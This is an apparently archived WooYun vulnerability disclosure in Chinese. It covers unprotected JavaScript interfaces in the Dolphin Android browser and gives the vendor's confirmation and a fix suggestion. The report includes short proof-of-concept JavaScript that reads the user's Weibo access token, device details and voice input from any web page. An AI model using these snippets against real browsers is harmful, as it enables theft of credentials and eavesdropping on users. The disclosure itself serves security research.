当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-037246

漏洞标题：海豚浏览器安卓客户端接口权限设计缺陷造成信息泄露

相关厂商：海豚浏览器

漏洞作者： 只抽红梅

提交时间：2013-09-16 07:49

修复时间：2013-10-31 07:50

公开时间：2013-10-31 07:50

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-16： 细节已通知厂商并且等待厂商处理中
2013-09-16： 厂商已经确认，细节仅向厂商公开
2013-09-26： 细节向核心白帽子及相关领域专家公开
2013-10-06： 细节向普通白帽子公开
2013-10-16： 细节向实习白帽子公开
2013-10-31： 细节向公众公开

简要描述：

海豚浏览器接口权限设计缺陷造成信息泄露

详细说明：

webview 的那个 addJavascriptInterface 导致的命令执行漏洞在海豚浏览器的新版本中已经修复了，经过反编译看源码应该是采用谷歌官方的修复方法。
虽然还是会公开一些方法给 JavaScript 调用，如下：

paramIWebView.addJavascriptInterface(Tracker.DOLPHIN_TRACKER, "dolphinTracker");
      paramIWebView.addJavascriptInterface(a.a().b(), "DolphinContent");
      paramIWebView.addJavascriptInterface(new DolphinJsApi(paramIWebView), "dolphin");
      paramIWebView.addJavascriptInterface(new LocalStorageApi(), "dolphinLocalStorage");
      paramIWebView.addJavascriptInterface(new DolphinGameCenterApi(), "dolphinGameCenter");
      paramIWebView.addJavascriptInterface(new WebAppModeApi(paramIWebView), "dolphinWebapp");
      paramIWebView.addJavascriptInterface(new ShareApi(), "dolphinShare");
      paramIWebView.addJavascriptInterface(new SinaWeiboApi(paramIWebView), "sinaweibo");
      paramIWebView.addJavascriptInterface(new AppUpdateInfoApi(paramIWebView), "appupdateinfo");


但是在这些类中有通过 @JavascriptInterface 注释来限定 JavaScript 能够调用的方法。例如：

@JavascriptInterface
  public int availHeight()
  {
    if (!this.mJsApiManager.b());
    for (int i = 0; ; i = this.mWebView.getViewHeight())
      return i;
  }


这样就解决了海豚浏览器之前的命令执行漏洞。
严重的漏洞是修复了，可是这些接口并没有任何的权限控制，导致任意一个页面的 JavaScript 都能够调用这些开放出来的接口。
------------------------------------分下，下面是部分接口调用效果------------------------------------
海豚浏览器可以绑定微博，如果登录微博后就可以通过下面的代码来获取到当前微博帐号的 access token：

document.write("weibo access token: " + window.sinaweibo.getAccessToken() + "<br/>");


下面代码能够获取当前设备的一些信息：

var deviceInfo = eval("(" + window.dolphin.getDeviceInfo() + ")");
for(info in deviceInfo){
    document.write(info + ": " + deviceInfo[info] + "<br>");
}


还能够获取语音输入呢：

document.write("voice result: " + window.dolphin.getVoiceInputResult() + "<br/>");


这样是不是有机会窃听别人说话？

dp1.png


触发语音输入截图

dp2.png


部分结果截图

漏洞证明：

dp1.png


触发语音输入截图

dp2.png


部分结果截图

修复方案：

1、对开放的接口进行权限控制

版权声明：转载请注明来源 只抽红梅@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-09-16 09:34

厂商回复：

谢谢只抽红梅为我们提供的漏洞信息。问题已经在处理当中~~~

最新状态：

暂无

漏洞评价：

评论